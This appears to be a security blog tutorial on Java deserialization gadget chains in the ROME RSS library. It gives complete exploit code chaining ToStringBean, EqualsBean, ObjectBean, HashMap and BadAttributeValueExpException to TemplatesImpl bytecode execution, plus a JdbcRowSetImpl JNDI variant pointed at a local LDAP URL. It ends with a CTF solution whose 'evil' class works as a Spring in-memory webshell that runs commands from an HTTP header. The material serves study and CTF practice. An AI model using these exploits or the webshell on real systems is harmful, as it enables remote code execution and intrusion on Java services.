ROME ATTACK
Introduction
Rome is a RSS reader.
1 2 3 4 5
| <dependency> <groupId>rome</groupId> <artifactId>rome</artifactId> <version>1.0</version> </dependency>
|
EXPLOIT
TemplateImpl#getOutputProperties
The sink point of this gadget is TemplateImpl#getOutputProperties
, which is very normal.
ToStringBean#toString
Next is the key of the Rome deserialization gadget chain.
The BeanIntrospector.getPropertyDescriptors(_beanClass)
extracts all the getter and setter methods from _beanClass
.
And we can find that the pReadMethod.invoke
really looks like the method.invoke
Besides, our TemplateImpl#getOutputProperties
just meets its requirements.
We can write a demo to test this chain.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.ToStringBean; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor;
import java.lang.reflect.Field;
public class exp { public static void main(String[] argc)throws Exception{ TemplatesImpl templates = new TemplatesImpl(); setAttribute("_name", templates, "P3ngu1nW"); setAttribute("_tfactory", templates, new TransformerFactoryImpl()); setAttribute("_bytecodes", templates, new byte[][]{getTemplateImpl("open -a calculator")}); ToStringBean toStringBean = new ToStringBean(TemplatesImpl.class, templates); toStringBean.toString(); } public static byte[] getTemplateImpl(String cmd)throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil"); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody(" try {\n" + " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + " } catch (Exception ignored) {\n" + " }"); byte[] bytecode = ctClass.toBytecode(); ctClass.defrost(); return bytecode; } public static void setAttribute(String fieldname, Object src, Object val)throws Exception{ Field field = src.getClass().getDeclaredField(fieldname); field.setAccessible(true); field.set(src, val); } }
|
How to call the toString
?
So our next question is to call the toString
, but how to make it?
HashMap
This gadget chain is:
1 2 3 4 5
| HashMap.readObject() -->HashMap.hash() -->EqualsBean.hashcode() -->EqualsBean.beanHashCode() -->ToStringBean.toString();
|
And the final EXP is
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ToStringBean; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap;
public class exp { public static void main(String[] argc)throws Exception{ TemplatesImpl templates = new TemplatesImpl(); setAttribute("_name", templates, "P3ngu1nW"); setAttribute("_tfactory", templates, new TransformerFactoryImpl()); ToStringBean toStringBean = new ToStringBean(Templates.class, templates); EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean); HashMap hashMap = new HashMap<>(); hashMap.put(equalsBean, "P3ngu1nW"); setAttribute("_bytecodes",templates, new byte[][]{getTemplateImpl("open -a calculator")});
serialize(hashMap); unserialize("ser.bin"); } public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } public static byte[] getTemplateImpl(String cmd)throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil"); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody(" try {\n" + " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + " } catch (Exception ignored) {\n" + " }"); byte[] bytecode = ctClass.toBytecode(); ctClass.defrost(); return bytecode; } public static void setAttribute(String fieldname, Object src, Object val)throws Exception{ Field field = src.getClass().getDeclaredField(fieldname); field.setAccessible(true); field.set(src, val); } }
|
BadAttributeValueExpException
1 2 3 4 5 6 7 8 9 10 11 12
| public static void main(String[] argc)throws Exception{ TemplatesImpl templates = new TemplatesImpl(); setAttribute("_name", templates, "P3ngu1nW"); setAttribute("_tfactory", templates, new TransformerFactoryImpl()); setAttribute("_bytecodes",templates, new byte[][]{getTemplateImpl("open -a calculator")}); ToStringBean toStringBean = new ToStringBean(Templates.class, templates); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("P3ngu1nW"); setAttribute("val", badAttributeValueExpException, toStringBean);
serialize(badAttributeValueExpException); unserialize("ser.bin"); }
|
Other EXPLOIT
ObjectBean substitute EqualBean
1 2 3 4 5 6 7 8 9 10 11 12 13
| public static void main(String[] argc)throws Exception{ TemplatesImpl templates = new TemplatesImpl(); setAttribute("_name", templates, "P3ngu1nW"); setAttribute("_tfactory", templates, new TransformerFactoryImpl()); ToStringBean toStringBean = new ToStringBean(Templates.class, templates); ObjectBean equalsBean = new ObjectBean(ToStringBean.class, toStringBean); HashMap hashMap = new HashMap<>(); hashMap.put(equalsBean, "P3ngu1nW"); setAttribute("_bytecodes",templates, new byte[][]{getTemplateImpl("open -a calculator")});
serialize(hashMap); unserialize("ser.bin"); }
|
JdbcRowSetImpl
There is another getter method that can be exploited in JdbcRowSetImpl#getDatabaseMetaData
.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public static void main(String[] argc)throws Exception{ JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); String url = "ldap://127.0.0.1:8099/calc"; jdbcRowSet.setDataSourceName(url); jdbcRowSet.setMaxFieldSize(10); Vector<String> vector = new Vector<String>(1); vector.add(0,"P3ngu1nW"); setAttribute("strMatchColumns", jdbcRowSet, vector); ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("P3ngu1nW"); setAttribute("val", badAttributeValueExpException, toStringBean);
serialize(badAttributeValueExpException); unserialize("ser.bin"); }
|
[长城杯 2022 高校组]b4bycoffee
A really easy problem.
1 2 3
| HashMap.readObject() -->EqualsBean.hash() -->CoffeeBean.toString()
|
And let’s load a malicious Spring echo class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| import java.lang.reflect.Method; import java.util.Scanner;
public class evil { static { try { Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder"); Method m = c.getMethod("getRequestAttributes"); Object o = m.invoke(null); c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes"); m = c.getMethod("getResponse"); Method m1 = c.getMethod("getRequest"); Object resp = m.invoke(o); Object req = m1.invoke(o); Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter"); Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class); getHeader.setAccessible(true); getWriter.setAccessible(true); Object writer = getWriter.invoke(resp); String cmd = (String)getHeader.invoke(req, "cmd"); String[] commands = new String[3]; if (System.getProperty("os.name").toUpperCase().contains("WIN")) { commands[0] = "cmd"; commands[1] = "/c"; } else { commands[0] = "/bin/sh"; commands[1] = "-c"; } commands[2] = cmd; writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream()).useDelimiter("\\A").next()); writer.getClass().getDeclaredMethod("flush").invoke(writer); writer.getClass().getDeclaredMethod("close").invoke(writer); } catch (Exception e) {
}
} }
|
Reference
https://p4d0rn.gitbook.io/java/ctf/b4bycoffee
https://drun1baby.top/2022/10/10/Java反序列化之ROME链/